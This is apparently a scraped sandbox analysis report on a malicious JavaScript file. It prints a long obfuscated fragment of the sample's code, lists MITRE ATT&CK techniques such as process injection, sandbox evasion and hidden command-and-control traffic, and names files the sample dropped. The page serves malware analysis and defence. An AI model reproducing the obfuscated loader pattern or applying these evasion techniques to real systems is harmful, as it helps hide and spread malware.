540	aotpznhff = "W";
541	aotpznhff = "L";
542	aotpznhff = "H";
543	aotpznhff = "K";
544	aotpznhff = "J";
545	aotpznhff = "b";
546	aotpznhff = "C";
547	aotpznhff = "T";
548	aotpznhff = "A";
549	aotpznhff = "b";
550	aotpznhff = "B";
551	aotpznhff = "f";
552	aotpznhff = "h";
553	aotpznhff = "s";
554	aotpznhff = "s";
555	aotpznhff = "g";
556	aotpznhff = "W";
557	aotpznhff = "h";
558	aotpznhff = "R";
559	zuwwrssn = "Y";
560	zuwwrssn = "B";
561	zuwwrssn = "Y";
562	zuwwrssn = "U";
563	zuwwrssn = "c";
564	zuwwrssn = "d";
565	zuwwrssn = "l";
566	zuwwrssn = "t";
567	zuwwrssn = "c";
568	zuwwrssn = "v";
569	zuwwrssn = "Y";
570	zuwwrssn = "l";
571	zuwwrssn = "Q";
572	zuwwrssn = "F";
573	zuwwrssn = "a";
574	zuwwrssn = "B";
575	zuwwrssn = "n";
576	zuwwrssn = "f";
577	zuwwrssn = "L";
578	zuwwrssn = "s";
579	zuwwrssn = "L";
580	zuwwrssn = "m";
581	zuwwrssn = "D";
582	zuwwrssn = "b";
583	zuwwrssn = "m";
584	zuwwrssn = "D";
585	zuwwrssn = "V";
586	zuwwrssn = "F";
587	zuwwrssn = "X";
588	zuwwrssn = "A";
589	zuwwrssn = "q";
590	zuwwrssn = "T";
591	zuwwrssn = "l";
592	zuwwrssn = "t";
593	huwkzojw = "P";
594	huwkzojw = "B";
595	huwkzojw = "a";
596	huwkzojw = "u";
597	huwkzojw = "v";
598	huwkzojw = "S";
599	huwkzojw = "L";
600	huwkzojw = "d";
601	huwkzojw = "C";
602	huwkzojw = "w";
603	huwkzojw = "O";
604	huwkzojw = "X";
605	huwkzojw = "n";
606	huwkzojw = "M";
607	huwkzojw = "x";
608	huwkzojw = "M";
609	huwkzojw = "N";
610	huwkzojw = "J";
611	huwkzojw = "Y";
612	huwkzojw = "U";
613	huwkzojw = "G";
614	huwkzojw = "o";
615	huwkzojw = "Y";
616	huwkzojw = "K";
617	huwkzojw = "S";
618	huwkzojw = "R";
619	huwkzojw = "g";
620	huwkzojw = "Q";
621	huwkzojw = "l";
622	huwkzojw = "F";
623	huwkzojw = "C";
624	ppjlglvk = "g";
625	ppjlglvk = "p";
626	ppjlglvk = "i";
627	ppjlglvk = "U";
628	ppjlglvk = "g";
629	ppjlglvk = "N";
630	ppjlglvk = "D";
631	ppjlglvk = "g";
632	ppjlglvk = "o";
633	ppjlglvk = "v";
634	ppjlglvk = "b";
635	ppjlglvk = "s";
636	ppjlglvk = "m";
637	ppjlglvk = "b";
638	ppjlglvk = "k";
639	ppjlglvk = "b";
640	ppjlglvk = "a";
641	ppjlglvk = "I";
642	ppjlglvk = "N";
643	ppjlglvk = "Q";
644	ppjlglvk = "l";
645	ppjlglvk = "a";
646	ppjlglvk = "U";
647	ppjlglvk = "L";
648	ppjlglvk = "s";
649	ppjlglvk = "F";
650	ppjlglvk = "C";
651	ppjlglvk = "g";
652	ppjlglvk = "a";
653	ppjlglvk = "_";
654	otowwzu = "D";
655	otowwzu = "L";
656	otowwzu = "M";
657	otowwzu = "F";
658	otowwzu = "Z";
659	otowwzu = "A";
660	otowwzu = "X";
661	otowwzu = "n";
662	otowwzu = "n";
663	otowwzu = "q";
664	otowwzu = "o";
665	otowwzu = "B";
666	otowwzu = "T";
667	otowwzu = "k";
668	fgcjmdi = "K";
669	fgcjmdi = "f";
670	fgcjmdi = "e";
671	fgcjmdi = "G";
672	fgcjmdi = "J";
673	fgcjmdi = "s";
674	fgcjmdi = "R";
675	fgcjmdi = "l";
676	fgcjmdi = "s";
677	fgcjmdi = "T";
678	fgcjmdi = "P";
679	fgcjmdi = "t";
680	fgcjmdi = "R";
681	fgcjmdi = "c";
682	fgcjmdi = "a";
683	fgcjmdi = "h";
684	fgcjmdi = "x";
685	tvjwnzib = "i";
686	tvjwnzib = "M";
687	tvjwnzib = "C";
688	tvjwnzib = "i";
689	tvjwnzib = "z";
690	tvjwnzib = "e";
691	tvjwnzib = "c";
692	tvjwnzib = "m";
693	tvjwnzib = "R";
694	tvjwnzib = "z";
695	tvjwnzib = "V";
696	tvjwnzib = "G";
697	tvjwnzib = "b";
698	tvjwnzib = "G";
699	tvjwnzib = "q";
700	tvjwnzib = "Q";
701	tvjwnzib = "Q";
702	tvjwnzib = "f";
703	tvjwnzib = "t";
704	tvjwnzib = "s";
705	tvjwnzib = "h";
706	tvjwnzib = "Q";
707	tvjwnzib = "g";
708	tvjwnzib = "O";
709	tvjwnzib = "B";
710	tvjwnzib = "l";
711	tvjwnzib = "e";
712	tvjwnzib = "K";
713	tvjwnzib = "f";
714	tvjwnzib = "z";
715	tvjwnzib = "K";
716	tvjwnzib = "z";
717	tvjwnzib = "P";
718	tvjwnzib = "R";
719	tvjwnzib = "W";
720	fphfqdgqu = "K";
721	fphfqdgqu = "R";
722	fphfqdgqu = "D";
723	fphfqdgqu = "l";
724	fphfqdgqu = "B";
725	fphfqdgqu = "W";
726	fphfqdgqu = "P";
727	fphfqdgqu = "y";
728	fphfqdgqu = "c";
729	fphfqdgqu = "w";
730	fphfqdgqu = "D";
731	fphfqdgqu = "I";
732	fphfqdgqu = "b";
733	fphfqdgqu = "K";
734	fphfqdgqu = "a";
735	jpddpkt = "v";
736	jpddpkt = "p";
737	wsxwpwh = "g";
738	wsxwpwh = "I";
739	wsxwpwh = "x";
740	wsxwpwh = "f";
741	wsxwpwh = "p";
742	wsxwpwh = "h";
743	wsxwpwh = "f";
744	wsxwpwh = "d";
745	wsxwpwh = "Q";
746	wsxwpwh = "G";
747	wsxwpwh = "M";
748	wsxwpwh = "s";
749	wsxwpwh = "a";
750	wsxwpwh = "e";
751	wsxwpwh = "k";
752	wsxwpwh = "q";
753	wsxwpwh = "u";
754	wsxwpwh = "k";
755	wsxwpwh = "i";
756	wsxwpwh = "N";
757	wsxwpwh = "J";
758	wsxwpwh = "N";
759	wsxwpwh = "Z";
760	wsxwpwh = "e";
761	wsxwpwh = "c";
762	wsxwpwh = "B";
763	wsxwpwh = "l";
764	wsxwpwh = "A";
765	wsxwpwh = "l";
766	wsxwpwh = "A";
767	wsxwpwh = "S";
768	wsxwpwh = "W";
769	wsxwpwh = "z";
770	wsxwpwh = "p";
771	wsxwpwh = "L";
772	wsxwpwh = " ";
773	zqkfd = "k";
774	zqkfd = "d";
775	zqkfd = "H";
776	zqkfd = "b";
777	zqkfd = "M";
778	zqkfd = "y";
779	zqkfd = "y";
780	zqkfd = "4";
781	bjcop = "s";
782	bjcop = "n";
783	bjcop = "I";
784	bjcop = "e";
785	bjcop = "b";
786	bjcop = "z";
787	bjcop = "D";
788	bjcop = "b";
789	bjcop = "W";
790	bjcop = "k";
791	bjcop = "z";
792	bjcop = "M";
793	bjcop = "R";
794	bjcop = "a";
795	bjcop = "x";
796	bjcop = "h";
797	bjcop = "Q";
798	bjcop = "i";
799	bjcop = "w";
800	bjcop = "I";
801	bjcop = "w";
802	svecsm = "S";
803	svecsm = "f";
804	svecsm = "D";
805	svecsm = "H";
806	svecsm = "a";
807	svecsm = "b";
808	svecsm = "F";
809	svecsm = "S";
810	svecsm = "u";
811	svecsm = "y";
812	svecsm = "Z";
813	svecsm = "f";
814	svecsm = "H";
815	svecsm = "i";
816	svecsm = "B";
817	svecsm = "n";
818	svecsm = "i";
819	svecsm = "a";
820	svecsm = "c";
821	svecsm = "S";
822	svecsm = "m";
823	skttdns = "I";
824	skttdns = "h";
825	skttdns = "I";
826	skttdns = "x";
827	skttdns = "G";
828	skttdns = "K";
829	skttdns = "b";
830	skttdns = "t";
831	skttdns = "O";
832	skttdns = "l";
833	skttdns = "e";
834	skttdns = "p";
835	skttdns = "E";
836	skttdns = "m";
837	skttdns = "e";
838	skttdns = "Y";
839	skttdns = "q";
840	skttdns = "V";
841	skttdns = "F";
842	skttdns = "L";
843	skttdns = "p";
844	skttdns = "w";
845	skttdns = "d";
846	skttdns = "O";
847	skttdns = "J";
848	skttdns = "I";
849	skttdns = "Y";
850	skttdns = "l";
851	skttdns = "Z";
852	skttdns = "H";
853	skttdns = "h";
854	skttdns = "X";
855	skttdns = "H";
856	skttdns = "s";
857	skttdns = "L";
858	skttdns = "J";
859	skttdns = "E";
860	skttdns = "b";
861	skttdns = "V";
862	skttdns = "l";
863	skttdns = "P";
864	skttdns = "k";
865	skttdns = "k";
866	skttdns = "E";
867	gxymmi = "l";
868	gxymmi = "W";
869	gxymmi = "e";
870	gxymmi = "L";
871	fcqblo = "d";
872	fcqblo = "a";
873	fcqblo = "f";
874	fcqblo = "I";
875	fcqblo = "e";
876	fcqblo = "Y";
877	fcqblo = "M";
878	fcqblo = "N";
879	fcqblo = "p";
880	fcqblo = "J";
881	fcqblo = "M";
882	fcqblo = "H";
883	fcqblo = "v";
884	wublgt = "P";
885	wublgt = "R";
886	wublgt = "D";
887	wublgt = "r";
888	wublgt = "P";
889	wublgt = "W";
890	wublgt = "o";
891	wublgt = "K";
892	wublgt = "q";
893	wublgt = "M";
894	wublgt = "Z";
895	wublgt = "e";
896	wublgt = "C";
897	wublgt = "Y";
898	wublgt = "k";
899	wublgt = "u";
900	wublgt = "q";
901	wublgt = "n";
902	wublgt = "k";
903	wublgt = "c";
904	wublgt = "x";
905	wublgt = "N";
906	wublgt = "Q";
907	yjjeqw = "V";
908	yjjeqw = "H";
909	yjjeqw = "Z";
910	yjjeqw = "c";
911	yjjeqw = "g";
912	yjjeqw = "O";
913	yjjeqw = "K";
914	yjjeqw = "Z";
915	yjjeqw = "E";
916	yjjeqw = "D";
917	yjjeqw = "Q";
918	yjjeqw = "k";
919	yjjeqw = "B";
920	yjjeqw = "Z";
921	yjjeqw = "B";
922	yjjeqw = "O";
923	yjjeqw = "K";
924	yjjeqw = "S";
925	yjjeqw = "N";
926	yjjeqw = "B";
927	yjjeqw = "n";
928	yjjeqw = "s";
929	aflfjlk = "B";
930	aflfjlk = "l";
931	aflfjlk = "i";
932	aflfjlk = "Z";
933	aflfjlk = "N";
934	aflfjlk = "W";
935	aflfjlk = "d";
936	aflfjlk = "A";
937	aflfjlk = "v";
938	aflfjlk = "w";
939	aflfjlk = "n";
940	aflfjlk = "Q";
941	aflfjlk = "r";
942	aflfjlk = "E";
943	aflfjlk = "W";
944	aflfjlk = "r";
945	aflfjlk = "k";
946	aflfjlk = "s";
947	aflfjlk = "Q";
948	aflfjlk = "J";
949	aflfjlk = "U";
950	aflfjlk = "j";
951	aflfjlk = "Y";
952	mvweokqd = "m";
953	mvweokqd = "P";
954	mvweokqd = "m";
955	mvweokqd = "M";
956	mvweokqd = "K";
957	mvweokqd = "t";
958	mvweokqd = "i";
959	mvweokqd = "H";
960	mvweokqd = "V";
961	mvweokqd = "N";
962	mvweokqd = "f";
963	mvweokqd = "C";
964	mvweokqd = "O";
965	mvweokqd = "2";
966	hridldxup = "U";
967	hridldxup = "h";
968	hridldxup = "J";
969	hridldxup = "e";
970	hridldxup = "L";
971	hridldxup = "b";
972	hridldxup = "s";
973	hridldxup = "L";
974	hridldxup = "I";
975	hridldxup = "r";
976	hridldxup = "Q";
977	hridldxup = "l";
978	hridldxup = "d";
979	hridldxup = "v";
980	hridldxup = "z";
981	hridldxup = "P";
982	hridldxup = "6";
983	fwtgaspa = "X";
984	fwtgaspa = "U";
985	fwtgaspa = "x";
986	fwtgaspa = "e";
987	fwtgaspa = "v";
988	fwtgaspa = "x";
989	fwtgaspa = "u";
990	fwtgaspa = "I";
991	fwtgaspa = "g";
992	snixhev = "H";
993	snixhev = "q";
994	snixhev = "i";
995	snixhev = "p";
996	snixhev = "O";
997	snixhev = "d";
998	snixhev = "m";
999	snixhev = "h";
1000	snixhev = "k";
1001	snixhev = "g";
1002	snixhev = "8";
1003	mvrkw = "5";
1004	dsptd = "h";
1005	dohzsqi = "Q";
1006	dohzsqi = "f";
1007	dohzsqi = "U";
1008	dohzsqi = "M";
1009	dohzsqi = "u";
1010	dohzsqi = "N";
1011	dohzsqi = "g";
1012	dohzsqi = "A";
1013	dohzsqi = "U";
1014	dohzsqi = "L";
1015	dohzsqi = "z";
1016	dohzsqi = "I";
1017	dohzsqi = "G";
1018	dohzsqi = "V";
1019	dohzsqi = "R";
1020	dohzsqi = "v";
1021	dohzsqi = "T";
1022	dohzsqi = "k";
1023	dohzsqi = "i";
1024	dohzsqi = "q";
1025	dohzsqi = "n";
1026	dohzsqi = "V";
1027	dohzsqi = "U";
1028	dohzsqi = "H";
1029	dohzsqi = "v";
1030	dohzsqi = "S";
1031	dohzsqi = "M";
1032	dohzsqi = "c";
1033	dohzsqi = "Z";
1034	dohzsqi = "X";
1035	dohzsqi = "k";
1036	dohzsqi = "S";
1037	dohzsqi = "U";
1038	dohzsqi = "G";
1039	dohzsqi = "S";
1040	dohzsqi = "e";
1041	dohzsqi = "a";
1042	dohzsqi = "I";
1043	dohzsqi = "O";
1044	lvboqhw = "C";
1045	lvboqhw = "l";
1046	lvboqhw = "Y";
1047	lvboqhw = "e";
1048	lvboqhw = "R";
1049	lvboqhw = "b";
1050	lvboqhw = "A";
1051	lvboqhw = "z";
1052	lvboqhw = "x";
1053	lvboqhw = "O";
1054	lvboqhw = "O";
1055	lvboqhw = "I";
1056	lvboqhw = "T";
1057	lvboqhw = "I";
1058	lvboqhw = "B";
1059	lvboqhw = "J";
1060	lvboqhw = "S";
1061	lvboqhw = "f";
1062	lvboqhw = "L";
1063	lvboqhw = "v";
1064	lvboqhw = "C";
1065	lvboqhw = "T";
1066	lvboqhw = "k";
1067	lvboqhw = "I";
1068	lvboqhw = "K";
1069	lvboqhw = "p";
1070	lvboqhw = "m";
1071	lvboqhw = "G";
1072	lvboqhw = "f";
1073	lvboqhw = "d";
1074	jgljcdq = "J";
1075	jgljcdq = "n";
1076	jgljcdq = "U";
1077	jgljcdq = "b";
1078	jgljcdq = "Q";
1079	jgljcdq = "R";
1080	jgljcdq = "G";
1081	jgljcdq = "g";
1082	jgljcdq = "S";
1083	jgljcdq = "R";
1084	jgljcdq = "j";
1085	jgljcdq = "M";
1086	jgljcdq = "f";
1087	jgljcdq = "T";
1088	jgljcdq = "s";
1089	jgljcdq = "v";
1090	jgljcdq = "H";
1091	jgljcdq = "i";
1092	jgljcdq = "l";
1093	ofiafiog = "T";
1094	ofiafiog = "x";
1095	ofiafiog = "w";
1096	ofiafiog = "a";
1097	ofiafiog = "n";
1098	ofiafiog = "T";
1099	ofiafiog = "q";
1100	ofiafiog = "m";
1101	ofiafiog = "T";
1102	ofiafiog = "K";
1103	ofiafiog = "c";
1104	ofiafiog = "R";
1105	ofiafiog = "l";
1106	ofiafiog = "W";
1107	ofiafiog = "T";
1108	nkuqc = "u";
1109	nkuqc = "G";
1110	nkuqc = "M";
1111	nkuqc = "k";
1112	nkuqc = "b";
1113	nkuqc = "V";
1114	nkuqc = "T";
1115	nkuqc = "K";
1116	nkuqc = "S";
1117	nkuqc = "W";
1118	nkuqc = "J";
1119	nkuqc = "k";
1120	nkuqc = "I";
1121	nkuqc = "Q";
1122	nkuqc = "r";
1123	nkuqc = "v";
1124	nkuqc = "g";
1125	nkuqc = "X";
1126	nkuqc = "W";
1127	nkuqc = "s";
1128	nkuqc = "U";
1129	nkuqc = "X";
1130	nkuqc = "F";
1131	nkuqc = "R";
1132	nkuqc = "J";
1133	nkuqc = "o";
1134	nkuqc = "J";
1135	nkuqc = "r";
1136	bobxnb = "o";
1137	bobxnb = "B";
1138	bobxnb = "c";
1139	bobxnb = "g";
1140	bobxnb = "f";
1141	bobxnb = "H";
1142	bobxnb = "g";
1143	bobxnb = "X";
1144	bobxnb = "n";
1145	bobxnb = "P";
1146	bobxnb = "E";
1147	bobxnb = "Y";
1148	bobxnb = "K";
1149	bobxnb = "S";
1150	bobxnb = "M";
1151	bobxnb = "M";
1152	bobxnb = "b";
1153	vlywdlg = "0";
1154	ljitgz = "A";
1155	ljitgz = "U";
1156	ljitgz = "J";
1157	ljitgz = "Z";
1158	ljitgz = "3";
1159	viyjnhd = "i";
1160	viyjnhd = "i";
1161	viyjnhd = "y";
1162	viyjnhd = "W";
1163	viyjnhd = "1";
1164	hmbfizjw = "T";
1165	hmbfizjw = "F";
1166	hmbfizjw = "l";
1167	hmbfizjw = "p";
1168	hmbfizjw = "@";
1169	xbkuibkaa = "q";
1170	xbkuibkaa = "p";
1171	xbkuibkaa = "f";
1172	xbkuibkaa = "G";
1173	xbkuibkaa = "N";
1174	xbkuibkaa = "z";
1175	xbkuibkaa = "q";
1176	xbkuibkaa = "A";
1177	xbkuibkaa = "h";
1178	xbkuibkaa = "O";
1179	xbkuibkaa = "z";
1180	xbkuibkaa = "A";
1181	xbkuibkaa = "I";
1182	xbkuibkaa = "D";
1183	xbkuibkaa = "y";
1184	xbkuibkaa = "X";
1185	xbkuibkaa = "Y";
1186	xbkuibkaa = "9";
1187	dqtav = "K";
1188	dqtav = "c";
1189	dqtav = "z";
1190	dqtav = "L";
1191	dqtav = "K";
1192	dqtav = "T";
1193	dqtav = "B";
1194	dqtav = "H";
1195	dqtav = "S";
1196	dqtav = "g";
1197	dqtav = "y";
1198	dqtav = "M";
1199	dqtav = "p";
1200	dqtav = "C";
1201	dqtav = "N";
1202	dqtav = "z";
1203	dqtav = "o";
1204	dqtav = "r";
1205	dqtav = "v";
1206	dqtav = "p";
1207	dqtav = "E";
1208	dqtav = "W";
1209	dqtav = "x";
1210	dqtav = "p";
1211	dqtav = "A";
1212	dqtav = "Y";
1213	dqtav = "Q";
1214	dqtav = "u";
1215	dqtav = "N";
1216	dqtav = "I";
1217	dqtav = "Y";
1218	dqtav = "g";
1219	dqtav = "e";
1220	dqtav = "x";
1221	dqtav = "N";
1222	dqtav = "L";
1223	dqtav = "s";
1224	dqtav = "A";
1225	dqtav = "%";
1226	sjbkzrp ( );	sjbkzrp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 545019492124428424.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7ce57829-846f-457a-bae6-2c1710378e66.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

